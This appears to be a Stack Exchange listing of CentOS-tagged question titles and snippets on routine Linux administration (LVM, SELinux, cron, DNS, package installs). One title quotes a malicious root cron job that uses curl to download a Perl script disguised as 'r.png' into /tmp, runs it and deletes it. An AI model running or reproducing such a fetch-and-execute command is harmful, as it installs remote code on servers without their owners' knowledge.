CentOS is an Enterprise-class Linux Distribution derived from Redhat Enterprise Linux sources freely provided to the public.
6
votes
1answer
618 views
BUG: soft lockup - CPU# stuck for x seconds
I've seen a few bug reports and questions (on stackexchange and elsewhere) regarding a nagging "BUG: soft lockup - CPU#<n> stuck for <dt>s!". So far, I haven't found any clue as to what ...
0
votes
0answers
39 views
User installation emacs 23 on a centos 5 with system-wide installed emacs-21.4-20.el5?
I would like to install my own copy of emacs 23 on a Centos 5 Linux where I don't have admin rights. I would like to have my own modern copy of emacs on this Centos 5 system since I've got a problem ...
0
votes
2answers
60 views
increasing a logical volume
I need to increase the logical volume of the var directory, the maximum size of var right now is 10GB, I need to make it 50GB. I have a Centos 6 server.
The output of df -h is:
Filesystem ...
-1
votes
1answer
98 views
Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]
I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
1
vote
0answers
102 views
selinux, dovecot and sieve
I've just started learning to configure SELINUX and this morning on my CentOS 6.4 x64 system, with postfix/dovecot/mysql installed, I woke up to the following selinux issue
found 1 alerts in ...
0
votes
1answer
123 views
Centos freeing up disk space
I have a CentOS server running Plesk and it's run out of space on the plesk partition. I have narrowed down where a lot of the disk space is being used, but I'm not sure how to move forward. Can I ...
0
votes
1answer
53 views
What is the difference between the whatis and apropos commands?
CentOS 6.3 / RHEL 6.3
Can someone please explain the difference between the whatis command and the apropos command? I noticed that both appear to be installed by default and I'm not sure what the ...
0
votes
1answer
257 views
netinstall media of CentOS 6.4 is broken?
I couldn't find a way to customize the partition schema during installation of CentOS 6.4, all these 3 options lead me directly to the "confirm disk change" screen.
Was it configured to be so? ...
0
votes
1answer
33 views
Installing a software on Linux- Centos
I am a complete amateur in Linux.
There is a software that only runs on Linux. It came with a virtual machine package and every thing.
When inside the virtual machine, I run a .py file in the ...
0
votes
0answers
59 views
How do I power off QLogic ISP2532 FC adapter via PCI?
I'm developing some automatic test. During it I need to simulate disconnection of fiber channel.
FC adapter is QLogic ISP2532, OS I'm working on is CentOS 6.2.
Currently I've tried to disable it ...
0
votes
2answers
281 views
CentOS doesn't see USB device
I'm running CentOS 6.3 inside of VirtualBox and am having trouble seeing my USB 2.0 thumb drive.
In VirtualBox I go to Devices, USB drives and can capture my connected thumb drive. I've created a ...
1
vote
2answers
85 views
Is it possible to have a cron job run more frequently than once every minute?
CentOS 6
I have a shell script that performs a task every minute. The task itself only takes a couple seconds to complete and ideally I'd like to have this shell script execute 2-3 times per ...
1
vote
1answer
207 views
How to colorize “root” in red in CentOS?
This is the content of /etc/bashrc, I would like to modify it for show "root" as red but don't know where to add the color code.
# /etc/bashrc
# System wide functions and aliases
# Environment stuff ...
1
vote
1answer
2k views
How do I configure CentOS 6.4 to allow normal users to run startx, without installing Gnome/KDE?
I installed CentOS 6.4 x86 from the minimal installation CD into a qemu/kvm virtual machine and installed the basic X server using:
yum groupinstall "X Window System" "Fonts"
When I run startx as a ...
1
vote
3answers
232 views
rsh runs perfectly in normal user but not in root, very strange, why?
When I run command, rsh localhost pwd as a root
It shows below output.
connect to address 127.0.0.1 port 544: Connection refused
Trying krb4 rsh...
connect to address 127.0.0.1 port 544: Connection ...
1
vote
2answers
83 views
Limit clamav to one thread
I'm only running on a low memory system so would like to run only one clamd, but i have googled for hours trying to find the answer with no luck. I tried clamscan instead but it takes far too long to ...
0
votes
0answers
185 views
Centos 6.4 Font and Icon Problems
I have a 64 bit i7 computer that has AMD Radeon 7700m and 1920x1080 screen resolution.
I have installed Centos and I have Gnome installed on it. I have very small fonts and icons at many programs. I ...
4
votes
3answers
120 views
Can't open syntax.vim error when using vimrc
When I try to open my .bashrc file. then it shows these lines:
Errordetected while processing /etc/vimrc:
line 45:
E848: Can't open file /usr/share/vim/vim70/syntax/syntax.vim
Press ENTER or type ...
1
vote
0answers
74 views
Error when running ntpd on openVZ host: cap_set_proc() failed to drop root privileges:
CentOS 6.x | OpenVZ
I want to run a NTP server on a vps host of mine. Is this possible?
When I try to start ntpd, it fails immediately and gives the following error:
Mar 14 22:47:44 ev1 ...
1
vote
1answer
60 views
IPs that I bound keep stop responding to ping
So Internic sent over a few cs, and it seems fine on some of them. However, on some I have to run
arping -U on to get them up and they only seem to stay up for a short time. They are a /24 properly ...
1
vote
1answer
171 views
How to setup RStudio Desktop verion on a CentOS 5 machine?
I have a problem of install RStudio Desktop verion on a CentOS 5 machine. Basically, RStudio Desktop needs QT4.8; however, I am not sure how to update my CentOS 5 QT4 to QT4.8. Otherwise, the Cmake ...
1
vote
0answers
102 views
rc.local not being executed when os boots up
I have a script that needs to be run when os boots up. I added it to /etc/rc.local. It was working fine for sometime but now rc.local does not load at boot time.
When i checked the permissions on the ...
2
votes
3answers
263 views
How do I combine two logical volumes that reside on a single physical volume in LVM?
I have two logical volumes, one is mounted as /, the other is mounted as /home.
I want to combine them, because the / volume is constantly running out of space. (Yes, I know what's using all that ...
1
vote
0answers
143 views
Why setsebool command of SELINUX taking so long and slow?
Hi I am new to the SELINUX and I have noticed the command setsebool take longer time than other linux commands. Such as:
setsebool -P ftp_home_dir ON
Out of curiosity I want to know why "setsebool" ...
1
vote
2answers
640 views
Can I “yum upgrade” to a specific CentOS version?
I'm using a third party proprietary application on CentOS 5.4, which is known to malfunction on pristine 5.9 or later. I would like to incrementally upgrade to the latest CentOS version where that ...
2
votes
2answers
1k views
How to flush local DNS cache in CentOS
(I am aware that googling this question gives me tons of stuff, but literally none worked) I'm looking for a way to flush the local DNS cache on a Centos 6 system, it is not running any DNS server or ...
0
votes
0answers
105 views
vsftpd allow full access in selinux
When I try to alow full access to FTP, suing the setsebool -P allow_ftpd_full_access 1
I am getting this error:
libsemanage.get_home_dirs: insta homedir /var/www/html or its parent directory ...
2
votes
1answer
141 views
How should I manage CentOS for long term production use?
I am newbie server developer who is preparing a new service. I looked for some server hosting services, and the company I chose supports only CentOS 5.8 and 6.2.
So I wanted to try it on my local ...
0
votes
1answer
56 views
Setting permissions with FTP
I'm having some issues setting up permissions for FTP. Read another thread on here regarding it, but I wasn't sure if it really matched what I needed.
Essentially, right now I've got the client's FTP ...
0
votes
1answer
46 views
gpg-agent fail: undefined symbol gpg_err_set_errno
We started to get some odd issues yesterday; possible due to a yum install gone bad? One of the issues, PS -ef hanging indefinately (actually an ps command that looks at other user state) was fixed ...
2
votes
0answers
257 views
Installing development tools in RHEL 6
I have admin privilege on my office computer (running RHEL 6) which is connected in a network. I was trying to install development tools using the command: sudo yum groupinstall "Development Tools" ...
0
votes
0answers
79 views
In Centos 6.3- Configuring ssh for a grid server service
I am running a gridserver setup with 5 interconnected machines, I am now adding the 6th.
each has it own ip address on a separate router/switch starting at 192.168.2.100 -192.168.2.106.
The newest ...
-1
votes
1answer
66 views
Why setsebool for httpd not working with -P parameter?
I'm trying to disable SELinux for httpd, but when I use the the setsebool command with -P parameter, it doesn't work:
setsebool -P http_can_network_connect 1
Nothing happens when I do that ie, the ...
1
vote
3answers
136 views
Best tool for monitoring server usage
I was just wondering what the best tools for retracing logs and what logs I should be checking to work out what's going wrong with a server, or what the client has executed to get the server into it's ...
2
votes
2answers
333 views
How to install GTK3 in Centos 6.2
I have Centos 6.2 and I want to install GTK3 to be able to install gitg.
I looked up on Google, and couldn't find anything useful. The thing is people suggest I need to install GTK3 by manually ...
1
vote
0answers
79 views
Centos 6.2: Unable to open terminal after vbox save state
I'm experiencing this issue frequently. Usually, I work on my Centos 6.2 in VBox for a while and then close it by saving state (going to other machines or doing host work). Then, I resume my session ...
-1
votes
1answer
90 views
unrar for centos 5.7 needs unrar-4.20-2.mga3.nonfree.x86_64.rpm which causes an error
I'm trying to install unrar package for my cpanel. as some people suggested that I need this package unrar-4.20-2.mga3.nonfree.x86_64.rpm . So when I run rpm -ivh unrar-4.20-2.mga3.nonfree.x86_64.rpm ...
1
vote
1answer
52 views
any utility on centos 6 to sound an alarm when power is low
Is there an application that will set an audible alarm when the battery goes low on a centos 6 IBM 430 machine?
Details of the problem here:
I have set it hibernate when battery is low. However, it ...
2
votes
1answer
206 views
Error during yum update
CentOS 6.3
Recently I've started getting the following error on my CentOS VPS when running yum update:
[user@foo1 ~]# yum update
Loaded plugins: fastestmirror
Loading mirror speeds from cached ...
2
votes
0answers
207 views
ping receives no packets, but tcpdump can see them coming in
I'm migrating an old Ubuntu OpenVZ instance (Jaunty) to a new CentOS 6.3 host (using vzdump/vzrestore).
Now networking does not work properly. Facts:
It works just fine if a setup a new OpenVZ ...
0
votes
0answers
109 views
Share display : 0.0 on freenx client
I have CentOs 5.9 with freenx installed. On the client side I use a Windows Machine with nx client.
I recently successfully upgraded my nvidia drivers to support OpenGL 2.0 and higher. However, when ...
0
votes
0answers
72 views
Installing XSP on CentOS
Trying to install xsp-2.10.2. Worked fine in the past, now getting this error.
Making install in Mono.WebServer
mkdir: cannot create directory `2.0': File exists
GMCS /out:2.0/Mono.WebServer2.dll
...
0
votes
1answer
204 views
Upgrade OpenGL from 1.2 to 2 for Nvidia GT218 [GeForce 310]
To run my application OpenGL version 2.0 or higher is required.
glxinfo | grep OpenGL yields:
Xlib: extension "NV-GLX" missing on display ":1007.0".
OpenGL vendor string: Mesa project: ...
1
vote
2answers
85 views
2 ip ranges / 1 nic OR why does one ip range follow default route before local routes
Updated at the bottom
I'm using Centos as a router, and just replaced the routing system at work. I've got 2 routers to send data around. For the most part it's working. On one router I have 2 ...
1
vote
0answers
422 views
centos 6, hostname won't resolve, dns issue, loop detected
I've searched everywhere and tried all the suggestions that I've seen, but I just can't get this to work now (it was working before). This is the first time I've ever installed a test server that I ...
2
votes
1answer
192 views
Properly Set Permission to /home/user folder for webserver
I'm currently setting up my own Linux server running CentOs 6. To test the security on my server I wrote a PHP script that acts like a sort of "navigator". I can go one directory up, open the files, ...
1
vote
1answer
99 views
Cannot enter in centOS with any user
I am using cent OS Operating system without GNOME.
In the starting, it asks
localhost login:
Password:
It has one user named service under group name service whose password is also service.
I ...
0
votes
0answers
181 views
centos 6.3 apache local network not working
I have clean installed centos, apache, mysql, php and have my php pages running fine at 192.168.1.66. I type that ip in on another computer (macbook) on the same network and get nothing. Page time ...
0
votes
0answers
172 views
SAMBA, CentOS and VirtualBox. Cant reach share from windows
I think I configured my Samba fine, but I cant access the share from a Windows machine. The network is set as bridged in VB configuration and I can ping the Windows machine from CentOS. Also, I can ...
5
votes
4answers
441 views
What's the difference between a hard links and copied files?
RHEL 6
My understanding is that hard links include a copy of the original file and that I could delete a hard-linked file in one directory, and it would still exist in the other directory.
If ...
